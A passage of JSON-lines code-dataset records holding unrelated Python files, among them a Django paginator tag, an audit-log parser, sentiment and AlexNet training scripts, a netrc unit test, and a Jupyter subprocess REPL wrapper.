testStatusLine(reasons, customText):\n for r in reasons:\n print('codesamples.makeStatusLine({}): '.format(r), codesamples.makeStatusLine(r))\n for r in reasons:\n print('codesamples.makeStatusLine({}, {}): '.format(r, customText), codesamples.makeStatusLine(r, customText))\n\nif __name__ == '__main__':\n testUnique(mksippscn.Errors, 'Check for unique error codes')\n testNeedFormat()\n testStatusLine([200,302,404,503,606,666,999,'string'], 'My Custom Reason')\n","sub_path":"selftest.py","file_name":"selftest.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"266076441","text":"# -*- coding: utf-8 -*-\nfrom django import template\nfrom django.core.urlresolvers import reverse, NoReverseMatch\nfrom django.template.loader import render_to_string\nfrom django.utils.safestring import mark_safe\nfrom django_jinja import library\nfrom jinja2 import contextfunction\n\n\nregister = template.Library()\n\n\n@library.global_function\n@contextfunction\n@register.simple_tag(takes_context=True)\ndef pagination(context, page_obj=None, page_kwarg='page'):\n\tpage_obj = page_obj or context['page_obj']\n\tctx = {\n\t\t'page_obj': page_obj,\n\t\t'page_kwarg': page_kwarg,\n\t\t'resolver_match': context['request'].resolver_match,\n\t\t'request': context['request'],\n\t}\n\treturn mark_safe(render_to_string(\"paginator/paginator.html\", ctx))\n\n\n@library.global_function\n@contextfunction\n@register.simple_tag(takes_context=True)\ndef pager_url(context, page_num):\n\trequest = context['request']\n\tresolver_match = context['resolver_match']\n\tpage_kwarg = context['page_kwarg']\n\tkwargs = resolver_match.kwargs.copy()\n\tkwargs[page_kwarg] = page_num\n\ttry:\n\t\turl_args = '?' + request.GET.urlencode() if request.GET else ''\n\t\treturn reverse(resolver_match.view_name, args=resolver_match.args, kwargs=kwargs) + url_args\n\texcept NoReverseMatch:\n\t\tget = request.GET.copy()\n\t\tget[page_kwarg] = page_num\n\t\tbase_url = reverse(resolver_match.view_name, args=resolver_match.args, kwargs=resolver_match.kwargs)\n\t\treturn base_url + '?' + get.urlencode()\n\n","sub_path":"paginator/templatetags/paginator.py","file_name":"paginator.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"583692524","text":"import numpy as np\ndef writejsfield(fid,name,variable,nods):\n#WRITEJSFIELD - write variable to javascript file \n#\n# Usage:\n# writejsfield(fid,name,variable)\n#\n\t#write array:\n\t#if not isinstance(variable, list):\n\tif type(variable[0])==np.float64:\n\t\tfid.write('\\n'.format(name))\n\t\tfid.write('{0}=['.format(name))\n\t\tfor i in xrange(0, nods-1):\n\t\t\tfid.write('{0},'.format(variable[i]))\n\t\tfid.write('{0}];\\n'.format(variable[-1]))\n\t\tfid.write('\\n')\n\telse:\n\t\t#multi-sized array: \n\t\tfid.write('\\n'.format(name))\n\t\tfid.write('{0}=[]\\n'.format(name))\n\t\tfor i in xrange(0, len(variable[2])):\n\t\t\tfid.write('{0}[\"{1}\"]=['.format(name,i))\n\t\t\tfor j in xrange(1, nods-1):\n\t\t\t\tfid.write('{0},'.format(variable[j][i]))\n\t\t\tfid.write('{0}];\\n'.format(variable[-1][i]))\n\t\tfid.write('\\n')\n","sub_path":"issm/writejsfield.py","file_name":"writejsfield.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"21050125","text":"import re\r\nimport os\r\nimport json\r\nimport sys \r\nimport gzip\r\n\r\nimport configparser\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\n\r\n# types represented by 1 byte\r\nint10Types = [ 'syscall', 'ppid', 'pid', 'auid', 'uid', 'gid', 'euid', 'suid', 'fsuid', 'egid', 'sgid', 'fsgid', 'items']\r\n# 64 bit byte strings\r\nint16Types = [ \"arch\" ,\"a0\", \"a1\", \"a2\", \"a3\"]\r\nfloatTypes = [\"timestamp\"]\r\nrx = re.compile(\"audit.(?P.*):(?P.*).: arch=(?P.*) syscall=(?P\\d+) (?:success=(?P.*) exit=(?P.*))?[ ]*a0=(?P.*) a1=(?P.*) a2=(?P.*) a3=(?P.*) items=(?P.*) ppid=(?P.*) pid=(?P.*) auid=(?P.*) uid=(?P.*) gid=(?P.*) euid=(?P.*) suid=(?P.*) fsuid=(?P.*) egid=(?P.*) sgid=(?P.*) fsgid=(?P.*) tty=(?P.*) ses=(?P.*) comm=(?P.*) exe=(?P.*)[ ]*(?:subj=(?P.*))? key=(?P.*)\")\r\ncompressLvl = 4\r\n\r\n\r\nsep =\"/\"\r\n# set up from config file\r\nname = \"\"\r\nconfig = configparser.ConfigParser()\r\nconfig.read('vbox.ini')\r\n\r\nmaster_vm = config['userVar']['master_vm']\r\ntime = config['userVar']['time'] \r\ncparams = config['linux']\r\n\r\nif os.name == 'nt':\r\n cparams = config['windows']\r\n sep = \"//\"\r\n\r\n\r\nhome_dir = cparams['home_dir']\r\ntest_files = cparams['test_files']\r\nbad_files = cparams['bad_files']\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef appendLogs(directoryPath,finalName):\r\n logs, numLogs = appendLogFiles(directoryPath)\r\n finalOutput = gzip.open(finalName,\"wb\",compresslevel=compressLvl)\r\n for i in range(numLogs,0,-1):\r\n logName = directoryPath+sep+logs[i-1]\r\n print(logName)\r\n dataParseRaw(logName,finalOutput)\r\n finalOutput.close()\r\n\r\ndef dataParseRaw(filePath,finalOutput):\r\n f = open(filePath,\"r\")\r\n wtf = f.readlines()\r\n for line in wtf:\r\n if line[5:12] == \"SYSCALL\":\r\n result = re.search(rx,line)\r\n if result is not None:\r\n result = result.groupdict()\r\n for x in int10Types:\r\n result[x] = int(result[x])\r\n\r\n for x in int16Types:\r\n result[x] = int(result[x],16)\r\n \r\n if result['exit'] is not None:\r\n result['exit'] = int(result['exit'])\r\n result['timestamp'] = float(result['timestamp'])\r\n j = json.dumps(result) + \"\\n\"\r\n j = j.encode('utf-8')\r\n finalOutput.write(j)\r\n\r\n \r\n\r\n\r\n\r\ndef appendLogFiles(directoryPath):\r\n try:\r\n onlyfiles = [f for f in listdir(directoryPath) if isfile(join(directoryPath, f))]\r\n onlyfiles.sort()\r\n return onlyfiles, len(onlyfiles)\r\n except FileNotFoundError:\r\n print(\"Please use a valid executable name\")\r\n sys.exit(1)","sub_path":"vBoxTest/basic/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"619232563","text":"import os\nimport sys\nimport numpy as np\nnp.random.seed(42) # for reproducibility\n\nimport pandas as pd\nimport re\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_validate\nfrom sklearn.pipeline import Pipeline\n\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.stem import SnowballStemmer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\n# import xgboost as xgb\n\n# Constants\nTARGET = 'sentiment'\nFEATURE = 'review_body'\nFEATURES = [FEATURE]\n\n # Load data from single CSV or from multiple CSVs in multiple folders #################\n\ndef load_data(path_to_dir):\n \"\"\"Load data from single CSV or from multiple CSVs in multiple folders\"\"\"\n if '.csv' in path_to_dir:\n print('\\nReading {}...'.format(path_to_dir))\n df = pd.read_csv(path_to_dir)\n return df\n else:\n print('Processing files in {}...'.format(path_to_dir))\n # Get all non-zip folders/files in dir\n names = os.listdir(path_to_dir)\n folders = [name for name in names if not name.endswith('.zip')] # Remove names found for zips\n print('\\tNon-zip folders/files found in {}: {}'.format(path_to_dir, folders))\n # From each folder, read all CSV files into Pandas df\n dfs = []\n for folder in folders:\n try: \n data_dir = path_to_dir + '/' + folder + '/'\n csv_filenames = os.listdir(data_dir) \n for name in csv_filenames:\n df = pd.read_csv(data_dir + name)\n df['csv'] = name\n df['folder'] = folder\n dfs.append(df)\n except NotADirectoryError:\n print('\\tSkipping (not a directory):', data_dir)\n df_all = pd.concat(dfs, ignore_index=True)\n return df_all\n \n############################################################\n\n\n# Functions for data cleaning & prep ####################\n\ndef add_city_col(df):\n \"\"\"Add 'city' column from 'url'\"\"\"\n df['city'] = df['url'].str.split('-', expand=True).iloc[:, -2]\n return df\n\ndef add_loc_col(df):\n \"\"\"Add clean location column 'loc' from 'city'\"\"\"\n df['loc'] = df['city']\n locs_dict = {'New_York':'New_York', 'Tokyo':'Tokyo', 'Phuket':'Thailand', 'Bali':'Bali', \\\n 'Cuba':'Cuba', 'Domi':'Dominican_Republic', 'Dubai':'Dubai', 'Cayo_Guillermo':'Cuba', \\\n 'Pattaya':'Thailand', 'Uvero_Alto_Punta_Cana_La_Altagracia_Province_Do':'Dominican_Republic',\\\n 'Krabi':'Thailand', 'Chiang_Mai':'Thailand', 'Khao_Lak_Phang_Nga_Province':'Thailand',\\\n 'Bangkok':'Thailand'}\n for loc in locs_dict:\n df.loc[df[df['city'].str.contains(loc)].index, 'loc'] = locs_dict[loc]\n return df\n\ndef clean_usernames(df):\n \"\"\"Add 'user_name_clean' column from 'user_name'\"\"\"\n df['user_name_clean'] = df['user_name'].str.split('<', expand=True).iloc[:, 0]\n return df\n\n#######################################################\n\n\n# Fully clean & prepare data #########################\n\ndef clean_and_prep(df):\n \"\"\"Fully clean & prepare data\"\"\"\n print('Cleaning data...')\n # # Change 'review_date' to datetime type\n # df['review_date'] = pd.to_datetime(df['review_date'])\n\n # Drop duplicate rows\n df = df.drop_duplicates()\n # Fill nulls for 'user_location' with 'n/a'\n df = df.fillna({'user_location': 'n/a'})\n\n # # Add col 'review_length' from 'review_body'\n # df['review_length'] = df['review_body'].str.len()\n\n # Get 'city' from 'url'\n df = add_city_col(df)\n # Get clean location 'loc' from city col\n df = add_loc_col(df)\n\n # # Clean 'user_name'\n # df = clean_usernames(df)\n\n # Add 'sentiment' column mapped by 'rating'\n df['sentiment'] = df['rating'].map({1: 'negative', 2: 'negative', 3: 'neutral', 4:'positive', 5:'positive'})\n \n# # Add 'sentiment' column mapped by 'sentiment'\n# df['polarity'] = df['sentiment'].map({'negative': 0, 'neutral': 0.5, 'positive': 1})\n# # Add 'sentiment_int' column mapped by 'sentiment'\n# df['sentiment_int'] = (df['polarity'] * 2).astype(int)\n# # Move 'sentiment' col to be last\n# last_col = df.pop('sentiment')\n# df.insert(df.shape[1], 'sentiment', last_col)\n return df\n\n#######################################################\n\n\n### NOTE: Train-test-val split and train undersampling below use random state/seed=42 \n### for reproducibility.\n\n# Train-test-val split ###################################\n\ndef train_test_val_split(df, target=TARGET):\n \"\"\"Train-test-val split - shuffled, stratified, 80:20 ratios --> 64/20/16 train/test/val\"\"\"\n train_df, test_df = train_test_split(df, test_size=0.2, shuffle=True, \\\n stratify=df[target], random_state=42)\n train_df, val_df = train_test_split(train_df, test_size=0.2, shuffle=True, \\\n stratify=train_df[target], random_state=42)\n\n print('\\tTrain: {}, Test: {}, Val: {}'.format(train_df.shape[0], test_df.shape[0], val_df.shape[0]))\n \n return train_df, test_df, val_df\n\n#######################################################\n\n# Undersample train due to class imbalance ###################################\n\ndef undersample_train(train_df, target=TARGET):\n \"\"\"Undersample train due to class imbalance\"\"\"\n y_train = train_df[target]\n # Get classes and counts\n unique, counts = np.unique(y_train, return_counts=True)\n\n # Determine majority, middle, and minority classes\n majority_class = unique[np.argmax(counts)]\n minority_class = unique[np.argmin(counts)]\n mid_class = (set(unique) - set([majority_class, minority_class])).pop()\n print('\\tMajority Class: {}, Middle Class: {}, Minority Class: {}'.format(majority_class, mid_class, minority_class))\n\n # Get indices per class\n class_indices = dict.fromkeys([majority_class, mid_class, minority_class])\n for key in class_indices:\n class_indices[key] = train_df[train_df[target]==key].index\n print('\\t\\tNumber {} in train: {}'.format(key, class_indices[key].shape[0]))\n\n # Randomly under-sample majority and middle class indices to get new under-sampled train df\n np.random.seed(42)\n rand_maj_indices = np.random.choice(class_indices[majority_class], class_indices[minority_class].shape[0], replace=False)\n rand_mid_indices = np.random.choice(class_indices[mid_class], class_indices[minority_class].shape[0], replace=False)\n undersample_indices = np.concatenate([class_indices[minority_class], rand_mid_indices, rand_maj_indices])\n\n train_df_us = train_df.loc[undersample_indices,:]\n print('\\tFinal undersampled train size:', train_df_us.shape[0])\n return train_df_us\n\n#######################################################\n\n\n# Complete preprocessing, splitting, undersampling #################################################\n\ndef preprocess_split_undersample(path):\n \"\"\"Complete preprocessing, splitting, undersampling\"\"\"\n train_df, test_df, val_df = preprocess_split(path)\n\n train_df_us = undersample_train(train_df)\n \n return train_df_us, test_df, val_df\n\n############################################################\n\n\n# Complete preprocessing, train-test-val split #################################################\n\ndef preprocess_split(path):\n \"\"\"Complete preprocessing, train-test-val split\"\"\"\n # Data preprocessing\n df = load_data(path)\n df = clean_and_prep(df)\n\n # Train/test/val split\n print('\\nSplitting data into train/test/val...')\n train_df, test_df, val_df = train_test_val_split(df)\n\n return train_df, test_df, val_df\n\n############################################################\n\n\n# NLP ##################################################\n\ndef my_tokenizer(str_input):\n \"\"\"Tokenize with NLTK's SnowballStemmer, remove non-alpha chars\"\"\"\n stemmer = SnowballStemmer('english')\n stemmed_stopwords = set_stopwords()\n\n tokenizer = RegexpTokenizer(r\"[a-zA-Z]+\")\n tokens = tokenizer.tokenize(str_input)\n\n words = [stemmer.stem(word) for word in tokens if word not in stemmed_stopwords]\n return words\n\ndef set_stopwords():\n \"\"\"Snowball-Stem English stopwords, \n list found at http://www.textfixer.com/resources/common-english-words.txt\"\"\"\n stemmer = SnowballStemmer('english')\n STOPWORDS = \"a,able,about,across,after,all,almost,also,am,among,an,and,any\"+\\\n \"are,as,at,be,because,been,but,by,can,could,dear,did,do,does,either\"+\\\n \"else,ever,every,for,from,get,got,had,has,have,he,her,hers,him,his\"+\\\n \"how,however,i,if,in,into,is,it,its,just,least,let,like,likely,may\"+\\\n \"me,might,most,must,my,neither,no,of,off,often,on,only,or,other,our\"+\\\n \"own,rather,said,say,says,she,should,since,so,some,than,that,the,their\"+\\\n \"them,then,there,these,they,this,tis,to,too,twas,us,wants,was,we,were\"+\\\n \"what,when,where,which,while,who,whom,why,will,with,would,yet,you,your\"\n STOPWORDS = STOPWORDS.split(',') \n stemmed_stopwords = set([stemmer.stem(word) for word in STOPWORDS])\n return stemmed_stopwords\n\ndef count_vectorize(texts):\n stemmed_stopwords = set_stopwords()\n count_vect = CountVectorizer(tokenizer=tokenizer, stop_words=tokenized_stop_words, max_features=5000)\n matrix = count_vect.fit_transform(texts)\n results = pd.DataFrame(matrix.toarray(), columns=count_vect.get_feature_names())\n return results\n\ndef tfidf_cv(X, y, model, cv=5, scoring=['accuracy']):\n clf = Pipeline([('tfidf', TfidfTransformer()), \\\n ('model', model)])\n scores = cross_validate(clf, X, y, scoring=scoring, cv=cv, return_train_score=True)\n print('\\t\\tScores: {}'.format(scores))\n return scores\n\n############################################################\n\n\nif __name__ == \"__main__\":\n try: \n path = sys.argv[1]\n action = sys.argv[2]\n except IndexError:\n print('Please specify path to data files and action (\"model\").')\n sys.exit()\n\n # Data preprocessing\n train_df_us, test_df, val_df = preprocess_split_undersample(path)\n\n X_train_us = train_df_us[FEATURE].to_list()\n y_train_us = train_df_us[TARGET].to_numpy()\n\n print('\\nGetting bag of words for train data...')\n X_train_us_vect = count_vectorize(X_train_us)\n\n if action == 'model': \n # Modeling\n print('\\nStarting modeling...')\n\n lr = LogisticRegression(multi_class='multinomial', solver='newton-cg')\n mnb = MultinomialNB()\n rf = RandomForestClassifier()\n gb = GradientBoostingClassifier()\n xc = xgb.XGBClassifier()\n\n # models = dict.fromkeys([lr]) # single model test\n models = dict.fromkeys([lr, mnb, rf, gb, xc])\n\n for key in models:\n print('\\n\\tFitting {}...'.format(key.__class__.__name__))\n scores = tfidf_cv(X_train_us_vect, y_train_us, key, cv=5)\n models[key] = scores\n print('\\t\\tAverage train accuracy:', np.mean(models[key]['train_accuracy']))\n print('\\t\\tAverage test accuracy:', np.mean(models[key]['test_accuracy']))\n print('\\n')\n\n else:\n print('Unknown action:', action)","sub_path":"src/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":11393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"369480443","text":"import pickle\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nfrom alexnet import AlexNet\nimport time\nimport skimage.transform\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n#%%函数定义区\ndef evaluate(X_data, y_data,sess,logits,one_hot_y,BATCH_SIZE):\n '''\n logits:网络的直接输出\n one_hot_y:验证信息的输入经过变化以后的输出\n '''\n num_examples = len(X_data)\n total_accuracy = 0\n #生成验证\n correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(one_hot_y, 1))\n accuracy_operation = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n for offset in range(0, num_examples, BATCH_SIZE):\n batch_x, batch_y = X_data[offset:offset+BATCH_SIZE], y_data[offset:offset+BATCH_SIZE]\n batch_x = ProcessFigs(batch_x)\n accuracy = sess.run(accuracy_operation, feed_dict={x_RGB: batch_x, y: batch_y})\n total_accuracy += (accuracy * len(batch_x))\n return total_accuracy / num_examples\n\ndef ProcessFigs(Figs):\n '''\n 这个函数用于将输入的图片库文件转换为flot32格式,扩展图片,调换RB,一般化\n '''\n FigOut = np.zeros([np.shape(Figs)[0],227,227,3])\n for Counter in range(np.shape(Figs)[0]):\n AFig = Figs[Counter,:,:,:]\n AFig = skimage.transform.resize(AFig,[227,227],preserve_range = True)\n AFig = AFig - np.mean(AFig)\n AFig[:, :, 0], AFig[:, :, 2] = AFig[:, :, 2], AFig[:, :, 0]\n FigOut[Counter,:,:,:] = AFig[np.newaxis,:,:,:]\n return FigOut\n#TODO: Load traffic signs data.\n#%%调入存储的数据文件\npickle_file = './train.p'\nwith open(pickle_file, 'rb') as f:\n pickle_data = pickle.load(f)\n \n X = pickle_data['features']\n y = pickle_data['labels']\n \n del pickle_data # Free up memory\n \n# TODO: Split data into training and validation sets.\n#%%将数库分裂为训练集和验证集\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.15)\ndel X\ndel y\n\n#%%创建运行场景\nsess = tf.Session()\n\n# TODO: Define placeholders and resize operation.\n#%% 设置图片格式转换层\nwith tf.name_scope('Transform_RGB'):\n x_RGB = tf.placeholder(tf.float64, (None, 227, 227, 3))\n x_RGB = tf.cast(x_RGB,tf.float32)\n\n# TODO: pass placeholder as first argument to `AlexNet`.\n#%% 与AlexNet连接,并设置反传信息中断层\nwith tf.name_scope('AlexNet'):\n fc7 = AlexNet(x_RGB, feature_extract=True)\n #fc7 = AlexNet(resized_x, feature_extract=True)\n # NOTE: `tf.stop_gradient` prevents the gradient from flowing backwards\n # past this point, keeping the weights before and up to `fc7` frozen.\n # This also makes training faster, less work to do!\n fc7 = tf.stop_gradient(fc7)\n\n# TODO: Add the final layer for traffic sign classification.\n#%%添加新加入的空白层等待训练并适配网络\nwith tf.name_scope('New_add1'):\n mu = 0\n sigma = 0.1\n weight8 = tf.Variable(tf.truncated_normal([4096,43],mean = mu, stddev = sigma),name = 'weight8')\n bias8 = tf.Variable(tf.zeros(43),name = 'bias8')\n Mux8 = tf.matmul(fc7,weight8)\n logits8 = tf.add(Mux8,bias8)\n \n\n# TODO: Define loss, training, accuracy operations.\nwith tf.name_scope('Train_price'):\n y = tf.placeholder(tf.uint8, (None))\n one_hot_y = tf.one_hot(y,43,dtype = tf.float32)\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=one_hot_y, logits=logits8)\n loss_operation = tf.reduce_mean(cross_entropy)\n \n# TODO: Train and evaluate the feature extraction model.\n#%%生成优化器\nrate = 0.001\noptimizer = tf.train.AdamOptimizer(learning_rate = rate)\n#主要,这里要指定训练的变量\ntraining_operation = optimizer.minimize(loss_operation,var_list = [weight8, bias8])\n\n\nEPOCHS = 50\nBATCH_SIZE = 128\n\n#执行优化过程\ninit = tf.global_variables_initializer()\nsess.run(init)\n\nnum_examples = len(X_train)\nprint(\"Training...\")\nprint()\nfor i in range(EPOCHS):\n X_train, y_train = shuffle(X_train, y_train)\n StartTime = time.clock()\n for offset in range(0, num_examples, BATCH_SIZE):\n end = offset + BATCH_SIZE\n batch_x, batch_y = X_train[offset:end], y_train[offset:end]\n batch_x = ProcessFigs(batch_x)\n _,Out = sess.run([training_operation,loss_operation], feed_dict={x_RGB: batch_x, y: batch_y})\n print(Out)\n EndTime = time.clock()\n print(\"这是第{}次训练完成\".format(i+1))\n print(\"这次训练的使用时间:{}\".format(EndTime - StartTime))\n print(\"检测一下准确程度:\")\n validation_accuracy = evaluate(X_test,y_test,sess,logits8,one_hot_y,BATCH_SIZE)\n print(validation_accuracy)\n print(\"~~~~~~~~~~~~~~~~~~~~\")\n if validation_accuracy > 0.98:\n break\n\n\n\n","sub_path":"train_feature_extraction.py","file_name":"train_feature_extraction.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"6116898","text":"# coding=utf-8\n# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n unicode_literals, with_statement)\n\nimport re\nimport unittest\nfrom contextlib import contextmanager\n\nfrom mock import MagicMock, mock_open, patch\n\nfrom pants.util.netrc import Netrc\n\n\n@patch('os.path')\nclass TestNetrcUtil(unittest.TestCase):\n\n class MockOsPath(MagicMock):\n def __init__(self):\n super(TestNetrcUtil.MockOsPath, self).__init__()\n self.expanduser.return_value = '~/.netrc'\n self.exists.return_value = True\n\n def test_netrc_success(self, MockOsPath):\n with patch('pants.util.netrc.NetrcDb') as mock_netrc:\n instance = mock_netrc.return_value\n instance.hosts = {'host': ('user', 'user', 'passw0rd')}\n instance.authenticators.return_value = ('user', 'user', 'passw0rd')\n netrc = Netrc()\n netrc._ensure_loaded()\n\n def test_netrc_file_missing_error(self, MockOsPath):\n MockOsPath.exists.return_value = False\n netrc = Netrc()\n with self.assertRaises(netrc.NetrcError) as exc:\n netrc._ensure_loaded()\n assert str(exc.exception) == 'A ~/.netrc file is required to authenticate'\n\n def test_netrc_parse_error(self, MockOsPath):\n with self.netrc('machine test') as netrc:\n with self.assertRaises(netrc.NetrcError) as exc:\n netrc._ensure_loaded()\n assert re.search(r'Problem parsing', str(exc.exception))\n\n def test_netrc_no_usable_blocks(self, MockOsPath):\n with self.netrc('') as netrc:\n with self.assertRaises(netrc.NetrcError) as exc:\n netrc._ensure_loaded()\n assert str(exc.exception) == 'Found no usable authentication blocks in ~/.netrc'\n\n @contextmanager\n def netrc(self, netrc_contents):\n m = mock_open(read_data=netrc_contents)\n with patch('__builtin__.open', m):\n netrc = Netrc()\n yield netrc\n","sub_path":"tests/python/pants_test/util/test_netrc.py","file_name":"test_netrc.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541311919","text":"# -*- coding: utf-8 -*-\nimport os\nimport json\n\nfrom django.contrib.auth.models import User\n\nimport data.models as models\n\nclass TestCase:\n '''Holds all data from the api_test_cases.csv file.'''\n def __init__(self, row):\n self.test_case = row[0]\n self.test_id = row[1]\n self.url = row[2]\n self.method = row[3]\n self.request = json.loads(row[4]) if row[4] else {}\n self.username = row[5]\n self.status_code = row[6]\n self.full_response = json.loads(row[7]) if row[7] else {} \n self.json_expression = row[8]\n self.parsed_response = json.loads(row[9]) if row[9] else {} \n\nclass TestCases:\n '''Read in all the test cases in the api_test_cases.csv file and parse them into\n a dictionary keyed by test case name.'''\n def __init__(self):\n self.test_case_path = f\"{os.environ['CUSTOM_FF_PATH']}/common/api_test_cases.csv\"\n with open(self.test_case_path) as test_case_file:\n self.test_case_data = test_case_file.read().splitlines()\n if not self.test_case_data:\n raise ValueError(\"The test case data csv file is empty.\")\n self.test_case_data = self.test_case_data[1:]\n self.test_cases = {}\n def get(self):\n for row in self.test_case_data:\n row = row.split('\\t')\n this_test_case = TestCase(row)\n case_name = this_test_case.test_case\n if case_name not in self.test_cases:\n self.test_cases[case_name] = []\n self.test_cases[case_name].append(this_test_case)\n return self.test_cases \n\nclass TestData:\n '''A single point to create and reference data needed during testing.'''\n def __init__(self):\n self.user = [row for row in User.objects.all()]\n self.league = [] \n self.leaguestat = []\n self.lineup = []\n self.member = []\n self.statcondition = []\n # map for string -> class name lookups\n self.models = {'League': models.League, 'LeagueStat': models.LeagueStat, \n 'Lineup': models.Lineup, 'Member': models.Member, \n 'StatCondition': models.StatCondition} \n def create(self, model_name, **kwargs):\n model = self.models[model_name]\n data = model.objects.create(**kwargs)\n getattr(self, model_name.lower()).append(data)","sub_path":"postgres_backend/data/tests/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"58158380","text":"# Copyright (c) Stanford University, The Regents of the University of\n# California, and others.\n#\n# All Rights Reserved.\n#\n# See Copyright-SimVascular.txt for additional details.\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject\n# to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\n# OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, unicode_literals, print_function, division\n\nimport subprocess\nimport os\nimport sys\nimport re\nimport signal\nfrom subprocess import Popen\nfrom codecs import getencoder, getincrementaldecoder\n\nPY3 = sys.version_info[0] == 3\n\nPOSIX = False\n\nclass SubprocessRepl(object):\n def __init__(self, cmd):\n self.encoder = getencoder('utf8')\n self.decoder = getincrementaldecoder('utf8')()\n self.popen = Popen(cmd, bufsize=1,\n stderr=subprocess.STDOUT, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n if POSIX:\n flags = fcntl.fcntl(self.popen.stdout, fcntl.F_GETFL)\n fcntl.fcntl(self.popen.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK)\n\n def is_alive(self):\n return self.popen.poll() is None\n\n def read_bytes(self):\n out = self.popen.stdout\n if POSIX:\n while True:\n i, _, _ = select.select([out], [], [])\n if i:\n return out.read(4096)\n else:\n # this is windows specific problem, that you cannot tell if there\n # are more bytes ready, so we read only 1 at a times\n\n while True:\n byte = self.popen.stdout.read(1)\n # debugging code\n #file1 = open(\"C:\\\\tmp\\\\stdout.tcl.txt\",\"ab\")\n #file1.write(byte)\n #file1.close()\n if byte == b'\\r':\n # f'in HACK, for \\r\\n -> \\n translation on windows\n # I tried universal_endlines but it was pain and misery! :'(\n continue\n return byte\n\n def write(self, command):\n (bytes, how_many) = self.encoder(command)\n si = self.popen.stdin\n si.write(bytes)\n si.flush()\n #debugging code\n #file2 = open(\"C:\\\\tmp\\\\stdin.tcl.txt\",\"ab\")\n #file2.write(bytes)\n #file2.close()\n\n def reset_decoder(self):\n self.decoder = getincrementaldecoder('utf8')()\n\n def read(self):\n \"\"\"Reads at least one decoded char of output\"\"\"\n while True:\n bs = self.read_bytes()\n if not bs:\n return None\n try:\n output = self.decoder.decode(bs)\n except Exception as e:\n output = \"■\"\n self.reset_decoder()\n if output:\n return output\n \n","sub_path":"BuildWithMake/Release/Jupyter/linux/site-packages/simvascular_python_kernel/subprocess_repl.py","file_name":"subprocess_repl.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"124293348","text":"# encoding: utf-8\nimport jieba\nimport os\nimport pandas as pd\n\nDATA_DIR = 'D:/workspace/data/wallstreetcn'\nWORD_DIR = u'D:/Data/词库'\nCAIJING_WORD_FILE = u'%s/THUOCL_caijing.txt'%(WORD_DIR)\n\njieba.load_userdict(CAIJING_WORD_FILE)\n\ndef uncertainty(word_set):\n words1 = [u'政策', u'支出', u'预算', u'政治', u'利率', u'改革']\n flag1 = False\n for w in words1:\n if w in word_set:\n flag1 = True\n break\n if not flag1:\n return False\n words2 = [u'政府', u'背景', 